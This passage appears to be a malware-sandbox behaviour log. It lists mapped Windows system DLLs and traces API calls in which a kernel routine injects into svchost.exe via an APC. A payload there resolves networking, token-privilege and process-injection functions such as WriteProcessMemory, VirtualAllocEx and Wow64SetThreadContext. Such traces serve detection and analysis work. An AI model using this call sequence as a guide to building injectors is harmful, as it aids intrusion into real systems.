Region: id = 3873 start_va = 0x7fef98d0000 end_va = 0x7fef98e3fff entry_point = 0x7fef98dab40 region_type = mapped_file name = "eappprxy.dll" filename = "\\Windows\\System32\\eappprxy.dll" Region: id = 3874 start_va = 0x7fef98f0000 end_va = 0x7fef992ffff entry_point = 0x7fef98f1010 region_type = mapped_file name = "onex.dll" filename = "\\Windows\\System32\\onex.dll" Region: id = 3875 start_va = 0x7fef9930000 end_va = 0x7fef9950fff entry_point = 0x7fef9947b9c region_type = mapped_file name = "wlanhlp.dll" filename = "\\Windows\\System32\\wlanhlp.dll" Region: id = 3876 start_va = 0x7fef9960000 end_va = 0x7fef997ffff entry_point = 0x7fef9961010 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" Region: id = 3877 start_va = 0x7fef9990000 end_va = 0x7fef9996fff entry_point = 0x7fef9991b24 region_type = mapped_file name = "wlanutil.dll" filename = "\\Windows\\System32\\wlanutil.dll" Region: id = 3885 start_va = 0x2cc0000 end_va = 0x2d3ffff entry_point = 0x0 region_type = private name = "private_0x0000000002cc0000" filename = "" Region: id = 3886 start_va = 0x7fef6c20000 end_va = 0x7fef6c63fff entry_point = 0x7fef6c4a9fc region_type = mapped_file name = "eappcfg.dll" filename = "\\Windows\\System32\\eappcfg.dll" Region: id = 3887 start_va = 0x7fef6c70000 end_va = 0x7fef6c83fff entry_point = 0x7fef6c7ab40 region_type = mapped_file name = "eappprxy.dll" filename = "\\Windows\\System32\\eappprxy.dll" Region: id = 3888 start_va = 0x7fef6c90000 end_va = 0x7fef6cb0fff entry_point = 0x7fef6ca7b9c region_type = mapped_file name = "wlanhlp.dll" filename = "\\Windows\\System32\\wlanhlp.dll" Region: id = 3889 start_va = 0x7fef9870000 end_va = 0x7fef98affff entry_point = 0x7fef9871010 region_type = mapped_file name = "onex.dll" filename = "\\Windows\\System32\\onex.dll" Region: id = 3890 start_va = 0x18a0000 end_va = 0x191ffff entry_point = 0x0 region_type = private name = "private_0x00000000018a0000" filename = "" Region: id = 3891 start_va = 0x2d80000 end_va = 0x2dfffff entry_point = 0x0 region_type = private name = "private_0x0000000002d80000" filename = "" Region: id = 3892 start_va = 0x7fef6c10000 end_va = 0x7fef6c53fff entry_point = 0x7fef6c3a9fc region_type = mapped_file name = "eappcfg.dll" filename = "\\Windows\\System32\\eappcfg.dll" Region: id = 3893 start_va = 0x7fef6c60000 end_va = 0x7fef6c73fff entry_point = 0x7fef6c6ab40 region_type = mapped_file name = "eappprxy.dll" filename = "\\Windows\\System32\\eappprxy.dll" Region: id = 3894 start_va = 0x7fef6c80000 end_va = 0x7fef6cbffff entry_point = 0x7fef6c81010 region_type = mapped_file name = "onex.dll" filename = "\\Windows\\System32\\onex.dll" Region: id = 3895 start_va = 0x7fef9880000 end_va = 0x7fef98a0fff entry_point = 0x7fef9897b9c region_type = mapped_file name = "wlanhlp.dll" filename = "\\Windows\\System32\\wlanhlp.dll" Region: id = 3896 start_va = 0x7fef6c70000 end_va = 0x7fef6cb3fff entry_point = 0x7fef6c9a9fc region_type = mapped_file name = "eappcfg.dll" filename = "\\Windows\\System32\\eappcfg.dll" Region: id = 3897 start_va = 0x7fef9890000 end_va = 0x7fef98a7fff entry_point = 0x7fef9891010 region_type = mapped_file name = "dot3api.dll" filename = "\\Windows\\System32\\dot3api.dll" Region: id = 3898 start_va = 0x7fef6c10000 end_va = 0x7fef6c53fff entry_point = 0x7fef6c3a9fc region_type = mapped_file name = "eappcfg.dll" filename = "\\Windows\\System32\\eappcfg.dll" Region: id = 3899 start_va = 0x7fef6c60000 end_va = 0x7fef6c73fff entry_point = 0x7fef6c6ab40 region_type = mapped_file name = "eappprxy.dll" filename = "\\Windows\\System32\\eappprxy.dll" Region: id = 3900 start_va = 0x7fef6c80000 end_va = 0x7fef6cbffff entry_point = 0x7fef6c81010 region_type = mapped_file name = "onex.dll" filename = "\\Windows\\System32\\onex.dll" Region: id = 3901 start_va = 0x7fef9880000 end_va = 0x7fef98a0fff entry_point = 0x7fef9897b9c region_type = mapped_file name = "wlanhlp.dll" filename = "\\Windows\\System32\\wlanhlp.dll" Region: id = 3902 start_va = 0x7fef9960000 end_va = 0x7fef997ffff entry_point = 0x7fef9961010 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" Region: id = 3903 start_va = 0x7fef9990000 end_va = 0x7fef9996fff entry_point = 0x7fef9991b24 region_type = mapped_file name = "wlanutil.dll" filename = "\\Windows\\System32\\wlanutil.dll" Region: id = 3904 start_va = 0x2d30000 end_va = 0x2daffff entry_point = 0x0 region_type = private name = "private_0x0000000002d30000" filename = "" Region: id = 3905 start_va = 0x7fef6c70000 end_va = 0x7fef6cb3fff entry_point = 0x7fef6c9a9fc region_type = mapped_file name = "eappcfg.dll" filename = "\\Windows\\System32\\eappcfg.dll" Region: id = 3906 start_va = 0x7fef9870000 end_va = 0x7fef9887fff entry_point = 0x7fef9871010 region_type = mapped_file name = "dot3api.dll" filename = "\\Windows\\System32\\dot3api.dll" Region: id = 3907 start_va = 0x7fef6c10000 end_va = 0x7fef6c53fff entry_point = 0x7fef6c3a9fc region_type = mapped_file name = "eappcfg.dll" filename = "\\Windows\\System32\\eappcfg.dll" Region: id = 3908 start_va = 0x7fef6c60000 end_va = 0x7fef6c73fff entry_point = 0x7fef6c6ab40 region_type = mapped_file name = "eappprxy.dll" filename = "\\Windows\\System32\\eappprxy.dll" Region: id = 3909 start_va = 0x7fef6c80000 end_va = 0x7fef6cbffff entry_point = 0x7fef6c81010 region_type = mapped_file name = "onex.dll" filename = "\\Windows\\System32\\onex.dll" Region: id = 3910 start_va = 0x7fef9880000 end_va = 0x7fef98a0fff entry_point = 0x7fef9897b9c region_type = mapped_file name = "wlanhlp.dll" filename = "\\Windows\\System32\\wlanhlp.dll" Region: id = 3911 start_va = 0x7fef9960000 end_va = 0x7fef997ffff entry_point = 0x7fef9961010 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" Region: id = 3912 start_va = 0x7fef9990000 end_va = 0x7fef9996fff entry_point = 0x7fef9991b24 region_type = mapped_file name = "wlanutil.dll" filename = "\\Windows\\System32\\wlanutil.dll" Region: id = 3913 start_va = 0x18c0000 end_va = 0x193ffff entry_point = 0x0 region_type = private name = "private_0x00000000018c0000" filename = "" Region: id = 3914 start_va = 0x7fef6c70000 end_va = 0x7fef6cb3fff entry_point = 0x7fef6c9a9fc region_type = mapped_file name = "eappcfg.dll" filename = "\\Windows\\System32\\eappcfg.dll" Region: id = 3915 start_va = 0x7fef9890000 end_va = 0x7fef98a7fff entry_point = 0x7fef9891010 region_type = mapped_file name = "dot3api.dll" filename = "\\Windows\\System32\\dot3api.dll" Region: id = 3916 start_va = 0x7fef6c10000 end_va = 0x7fef6c53fff entry_point = 0x7fef6c3a9fc region_type = mapped_file name = "eappcfg.dll" filename = "\\Windows\\System32\\eappcfg.dll" Region: id = 3917 start_va = 0x7fef6c60000 end_va = 0x7fef6c73fff entry_point = 0x7fef6c6ab40 region_type = mapped_file name = "eappprxy.dll" filename = "\\Windows\\System32\\eappprxy.dll" Region: id = 3918 start_va = 0x7fef6c80000 end_va = 0x7fef6cbffff entry_point = 0x7fef6c81010 region_type = mapped_file name = "onex.dll" filename = "\\Windows\\System32\\onex.dll" Region: id = 3919 start_va = 0x7fef9880000 end_va = 0x7fef98a0fff entry_point = 0x7fef9897b9c region_type = mapped_file name = "wlanhlp.dll" filename = "\\Windows\\System32\\wlanhlp.dll" Region: id = 3920 start_va = 0x7fef9960000 end_va = 0x7fef997ffff entry_point = 0x7fef9961010 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" Region: id = 3921 start_va = 0x7fef9990000 end_va = 0x7fef9996fff entry_point = 0x7fef9991b24 region_type = mapped_file name = "wlanutil.dll" filename = "\\Windows\\System32\\wlanutil.dll" Region: id = 3922 start_va = 0x2d40000 end_va = 0x2dbffff entry_point = 0x0 region_type = private name = "private_0x0000000002d40000" filename = "" Region: id = 3923 start_va = 0x7fef6c70000 end_va = 0x7fef6cb3fff entry_point = 0x7fef6c9a9fc region_type = mapped_file name = "eappcfg.dll" filename = "\\Windows\\System32\\eappcfg.dll" Region: id = 3924 start_va = 0x7fef9870000 end_va = 0x7fef9887fff entry_point = 0x7fef9871010 region_type = mapped_file name = "dot3api.dll" filename = "\\Windows\\System32\\dot3api.dll" Region: id = 3925 start_va = 0x7fef6c10000 end_va = 0x7fef6c53fff entry_point = 0x7fef6c3a9fc region_type = mapped_file name = "eappcfg.dll" filename = "\\Windows\\System32\\eappcfg.dll" Region: id = 3926 start_va = 0x7fef6c60000 end_va = 0x7fef6c73fff entry_point = 0x7fef6c6ab40 region_type = mapped_file name = "eappprxy.dll" filename = "\\Windows\\System32\\eappprxy.dll" Region: id = 3927 start_va = 0x7fef6c80000 end_va = 0x7fef6cbffff entry_point = 0x7fef6c81010 region_type = mapped_file name = "onex.dll" filename = "\\Windows\\System32\\onex.dll" Region: id = 3928 start_va = 0x7fef9880000 end_va = 0x7fef98a0fff entry_point = 0x7fef9897b9c region_type = mapped_file name = "wlanhlp.dll" filename = "\\Windows\\System32\\wlanhlp.dll" Region: id = 3929 start_va = 0x7fef9960000 end_va = 0x7fef997ffff entry_point = 0x7fef9961010 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" Region: id = 3930 start_va = 0x7fef9990000 end_va = 0x7fef9996fff entry_point = 0x7fef9991b24 region_type = mapped_file name = "wlanutil.dll" filename = "\\Windows\\System32\\wlanutil.dll" Region: id = 3931 start_va = 0x2d00000 end_va = 0x2d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d00000" filename = "" Region: id = 3932 start_va = 0x7fef6c70000 end_va = 0x7fef6cb3fff entry_point = 0x7fef6c9a9fc region_type = mapped_file name = "eappcfg.dll" filename = "\\Windows\\System32\\eappcfg.dll" Region: id = 3933 start_va = 0x7fef9890000 end_va = 0x7fef98a7fff entry_point = 0x7fef9891010 region_type = mapped_file name = "dot3api.dll" filename = "\\Windows\\System32\\dot3api.dll" Region: id = 3934 start_va = 0x7fef6c10000 end_va = 0x7fef6c53fff entry_point = 0x7fef6c3a9fc region_type = mapped_file name = "eappcfg.dll" filename = "\\Windows\\System32\\eappcfg.dll" Region: id = 3935 start_va = 0x7fef6c60000 end_va = 0x7fef6c73fff entry_point = 0x7fef6c6ab40 region_type = mapped_file name = "eappprxy.dll" filename = "\\Windows\\System32\\eappprxy.dll" Region: id = 3936 start_va = 0x7fef6c80000 end_va = 0x7fef6cbffff entry_point = 0x7fef6c81010 region_type = mapped_file name = "onex.dll" filename = "\\Windows\\System32\\onex.dll" Region: id = 3937 start_va = 0x7fef9880000 end_va = 0x7fef98a0fff entry_point = 0x7fef9897b9c region_type = mapped_file name = "wlanhlp.dll" filename = "\\Windows\\System32\\wlanhlp.dll" Region: id = 3938 start_va = 0x7fef9960000 end_va = 0x7fef997ffff entry_point = 0x7fef9961010 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" Region: id = 3939 start_va = 0x7fef9990000 end_va = 0x7fef9996fff entry_point = 0x7fef9991b24 region_type = mapped_file name = "wlanutil.dll" filename = "\\Windows\\System32\\wlanutil.dll" Thread: id = 175 os_tid = 0x340 [0080.711] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\System32\\svchost.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.711] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.713] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0080.713] IoIs32bitProcess (Irp=0x0) returned 0 [0080.713] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa80034e9460 [0080.713] KeInitializeApc (Apc=0xfffffa80034e9460, Thread=0xfffffa800365f710, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027cb10c, RundownRoutine=0x0, NormalRoutine=0x0, Mode=0xffff4a0800000000, Context=0x0) [0080.713] KeInsertQueueApc (Apc=0xfffffa80034e9460, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0080.713] ExFreePoolWithTag (P=0xfffffa80034e9460, Tag=0x0) [0080.713] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x478) returned 0xfffffa800cbf0b80 [0080.713] IoGetCurrentProcess () returned 0xfffffa800368d9e0 [0080.713] PsGetCurrentProcessId () returned 0x33c [0080.713] IoIs32bitProcess (Irp=0x0) returned 0 [0080.713] KeInitializeEvent (in: Event=0xfffffa800cbf0bc0, Type=0x0, State=0 | out: Event=0xfffffa800cbf0bc0) [0080.713] ExQueueWorkItem (in: WorkItem=0xfffffa800cbf0b80*(List.Flink=0x0, List.Blink=0x0, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa800cbf0b80), QueueType=0x1 | out: WorkItem=0xfffffa800cbf0b80*(List.Flink=0x0, List.Blink=0x0, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa800cbf0b80)) [0080.728] KeWaitForMutexObject () returned 0x0 [0080.909] ExFreePoolWithTag (P=0xfffffa800cbf0b80, Tag=0x0) [0080.909] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KernelBase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.915] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msvcrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.917] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sechost.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.917] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rpcrt4.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.922] LoadLibraryExA (lpLibFileName="KERNEL32", hFile=0x0, dwFlags=0x0) returned 0x77a30000 [0080.926] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0080.926] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0080.926] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x0) returned 0x77c50000 [0080.926] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0080.926] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefef80000 [0080.926] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wininet.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.927] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shlwapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.927] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gdi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.927] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.928] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lpk.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.929] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\usp10.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.929] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\advapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.930] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\urlmon.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.931] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ole32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.931] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\oleaut32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.932] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\crypt32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.932] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msasn1.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.933] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\iertutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.944] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imm32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.945] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msctf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.972] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0080.972] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff4f0000 [0080.972] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0080.972] LoadLibraryExA (lpLibFileName="imagehlp.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffb50000 [0080.972] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imagehlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.974] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0080.974] LoadLibraryExA (lpLibFileName="PSAPI.DLL", hFile=0x0, dwFlags=0x0) returned 0x77e20000 [0080.974] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\psapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.976] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0080.976] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefed20000 [0080.976] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0080.976] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x77b50000 [0080.976] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0080.976] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff940000 [0080.976] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0080.979] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x77a30000 [0080.979] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualProtect") returned 0x77a32ef0 [0080.979] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x1af268 | out: lpflOldProtect=0x1af268*=0x40) returned 1 [0080.979] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x40, lpflOldProtect=0x1af268 | out: lpflOldProtect=0x1af268*=0x4) returned 1 [0080.979] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c50000 [0080.979] GetProcAddress (hModule=0x77c50000, lpProcName="_strlwr") returned 0x77cd8fb0 [0080.979] GetProcAddress (hModule=0x77c50000, lpProcName="RtlTimeToSecondsSince1970") returned 0x77c67c30 [0080.979] GetProcAddress (hModule=0x77c50000, lpProcName="RtlRandom") returned 0x77cf4a40 [0080.979] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageDirectoryEntryToData") returned 0x77c80950 [0080.980] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageNtHeader") returned 0x77c7ecb0 [0080.980] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAllocateVirtualMemory") returned 0x77ca1490 [0080.980] GetProcAddress (hModule=0x77c50000, lpProcName="ZwFreeVirtualMemory") returned 0x77ca14f0 [0080.980] GetProcAddress (hModule=0x77c50000, lpProcName="sscanf") returned 0x77cda974 [0080.980] GetProcAddress (hModule=0x77c50000, lpProcName="_snwprintf") returned 0x77cd8b8c [0080.980] GetProcAddress (hModule=0x77c50000, lpProcName="_stricmp") returned 0x77c8c5ec [0080.980] GetProcAddress (hModule=0x77c50000, lpProcName="RtlEqualUnicodeString") returned 0x77ca59a0 [0080.980] GetProcAddress (hModule=0x77c50000, lpProcName="ZwQuerySystemInformation") returned 0x77ca1670 [0080.980] GetProcAddress (hModule=0x77c50000, lpProcName="ZwSetInformationToken") returned 0x77ca2920 [0080.980] GetProcAddress (hModule=0x77c50000, lpProcName="ZwDuplicateToken") returned 0x77ca1730 [0080.980] GetProcAddress (hModule=0x77c50000, lpProcName="ZwClose") returned 0x77ca1400 [0080.980] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAdjustPrivilegesToken") returned 0x77ca1720 [0080.981] GetProcAddress (hModule=0x77c50000, lpProcName="ZwOpenProcessToken") returned 0x77ca22d0 [0080.981] GetProcAddress (hModule=0x77c50000, lpProcName="strstr") returned 0x77cdac00 [0080.981] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0080.981] GetProcAddress (hModule=0x77c50000, lpProcName="sprintf") returned 0x77cda738 [0080.981] GetProcAddress (hModule=0x77c50000, lpProcName="strncat") returned 0x77c9fc40 [0080.981] GetProcAddress (hModule=0x77c50000, lpProcName="strchr") returned 0x77c7c900 [0080.981] GetProcAddress (hModule=0x77c50000, lpProcName="strrchr") returned 0x77cdab0c [0080.981] GetProcAddress (hModule=0x77c50000, lpProcName="ispunct") returned 0x77cd8620 [0080.981] GetProcAddress (hModule=0x77c50000, lpProcName="isalnum") returned 0x77cd8644 [0080.981] GetProcAddress (hModule=0x77c50000, lpProcName="strncpy") returned 0x77c9fec0 [0080.981] GetProcAddress (hModule=0x77c50000, lpProcName="RtlComputeCrc32") returned 0x77c5c7b0 [0080.981] GetProcAddress (hModule=0x77c50000, lpProcName="_snprintf") returned 0x77cd8ae0 [0080.982] GetProcAddress (hModule=0x77c50000, lpProcName="memcmp") returned 0x77c9ea60 [0081.025] GetProcAddress (hModule=0x77c50000, lpProcName="__chkstk") returned 0x77ca0dd0 [0081.025] GetProcAddress (hModule=0x77c50000, lpProcName="strncmp") returned 0x77c9fdf0 [0081.025] GetProcAddress (hModule=0x77c50000, lpProcName="atoi") returned 0x77c565e4 [0081.026] GetProcAddress (hModule=0x77c50000, lpProcName="memset") returned 0x77ca2ed0 [0081.026] GetProcAddress (hModule=0x77c50000, lpProcName="memcpy") returned 0x77c9e6d0 [0081.026] GetModuleHandleA (lpModuleName="WININET.dll") returned 0x7fefef80000 [0081.026] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetReadFile") returned 0x7fefef93914 [0081.026] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpQueryInfoW") returned 0x7fefefb4600 [0081.026] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetSetOptionW") returned 0x7fefef8ff20 [0081.026] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetQueryOptionW") returned 0x7fefefa1ab8 [0081.026] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpSendRequestA") returned 0x7fefefff600 [0081.034] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpOpenRequestA") returned 0x7fefefb3910 [0081.034] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetConnectA") returned 0x7fefefb3130 [0081.034] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0081.034] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCloseHandle") returned 0x7fefef95594 [0081.034] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCrackUrlA") returned 0x7fefefe0b4c [0081.034] GetModuleHandleA (lpModuleName="SHLWAPI.dll") returned 0x7feff4f0000 [0081.034] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0081.034] GetProcAddress (hModule=0x7feff4f0000, lpProcName="SHGetValueA") returned 0x7feff4f4e50 [0081.035] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindFileNameA") returned 0x7feff4f86c4 [0081.035] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveBackslashA") returned 0x7feff519e70 [0081.035] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindExtensionA") returned 0x7feff51b358 [0081.035] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFileExistsA") returned 0x7feff51b4d4 [0081.035] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathAppendA") returned 0x7feff4f5710 [0081.035] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveFileSpecA") returned 0x7feff51bbb4 [0081.035] GetModuleHandleA (lpModuleName="imagehlp.dll") returned 0x7feffb50000 [0081.035] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0081.035] GetModuleHandleA (lpModuleName="PSAPI.DLL") returned 0x77e20000 [0081.036] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0081.036] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x77a30000 [0081.036] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileA") returned 0x77a531f0 [0081.036] GetProcAddress (hModule=0x77a30000, lpProcName="SystemTimeToFileTime") returned 0x77a53560 [0081.036] GetProcAddress (hModule=0x77a30000, lpProcName="GetVersionExA") returned 0x77a470c0 [0081.036] GetProcAddress (hModule=0x77a30000, lpProcName="GetLocaleInfoA") returned 0x77a40210 [0081.036] GetProcAddress (hModule=0x77a30000, lpProcName="GetWindowsDirectoryA") returned 0x77a7bfb0 [0081.051] GetProcAddress (hModule=0x77a30000, lpProcName="GetTickCount") returned 0x77a52b00 [0081.077] GetProcAddress (hModule=0x77a30000, lpProcName="GetCommandLineA") returned 0x77a51e70 [0081.077] GetProcAddress (hModule=0x77a30000, lpProcName="SetUnhandledExceptionFilter") returned 0x77a49b70 [0081.077] GetProcAddress (hModule=0x77a30000, lpProcName="LocalFree") returned 0x77a447a0 [0081.077] GetProcAddress (hModule=0x77a30000, lpProcName="SetWaitableTimer") returned 0x77a38890 [0081.138] GetProcAddress (hModule=0x77a30000, lpProcName="CreateWaitableTimerA") returned 0x77a90da0 [0081.138] GetProcAddress (hModule=0x77a30000, lpProcName="CreateThread") returned 0x77a46580 [0081.138] GetProcAddress (hModule=0x77a30000, lpProcName="CopyFileA") returned 0x77ac5620 [0081.138] GetProcAddress (hModule=0x77a30000, lpProcName="UnmapViewOfFile") returned 0x77a53580 [0081.138] GetProcAddress (hModule=0x77a30000, lpProcName="MapViewOfFile") returned 0x77a3e390 [0081.138] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileMappingA") returned 0x77a3ead0 [0081.138] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0081.138] GetProcAddress (hModule=0x77a30000, lpProcName="RemoveDirectoryA") returned 0x77a7bdb0 [0081.138] GetProcAddress (hModule=0x77a30000, lpProcName="DeleteFileA") returned 0x77a414e0 [0081.138] GetProcAddress (hModule=0x77a30000, lpProcName="CreateDirectoryA") returned 0x77a7c5b0 [0081.139] GetProcAddress (hModule=0x77a30000, lpProcName="GetTempPathA") returned 0x77a92060 [0081.139] GetProcAddress (hModule=0x77a30000, lpProcName="ExitProcess") returned 0x77c740f0 [0081.139] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemTimeAsFileTime") returned 0x77a43f40 [0081.139] GetProcAddress (hModule=0x77a30000, lpProcName="LoadLibraryA") returned 0x77a47070 [0081.139] GetProcAddress (hModule=0x77a30000, lpProcName="OpenProcess") returned 0x77a4cad0 [0081.139] GetProcAddress (hModule=0x77a30000, lpProcName="OpenMutexA") returned 0x77a32ce0 [0081.139] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemInfo") returned 0x77a46f70 [0081.139] GetProcAddress (hModule=0x77a30000, lpProcName="QueueUserWorkItem") returned 0x77a41370 [0081.139] GetProcAddress (hModule=0x77a30000, lpProcName="Sleep") returned 0x77a52b70 [0081.139] GetProcAddress (hModule=0x77a30000, lpProcName="TerminateProcess") returned 0x77a7bca0 [0081.139] GetProcAddress (hModule=0x77a30000, lpProcName="ResumeThread") returned 0x77a413a0 [0081.140] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64SetThreadContext") returned 0x77a7af70 [0081.140] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64GetThreadContext") returned 0x77a7afa0 [0081.140] GetProcAddress (hModule=0x77a30000, lpProcName="WriteProcessMemory") returned 0x77a7bad0 [0081.140] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAllocEx") returned 0x77a7bbd0 [0081.140] GetProcAddress (hModule=0x77a30000, lpProcName="CreateProcessA") returned 0x77ac8840 [0081.140] GetProcAddress (hModule=0x77a30000, 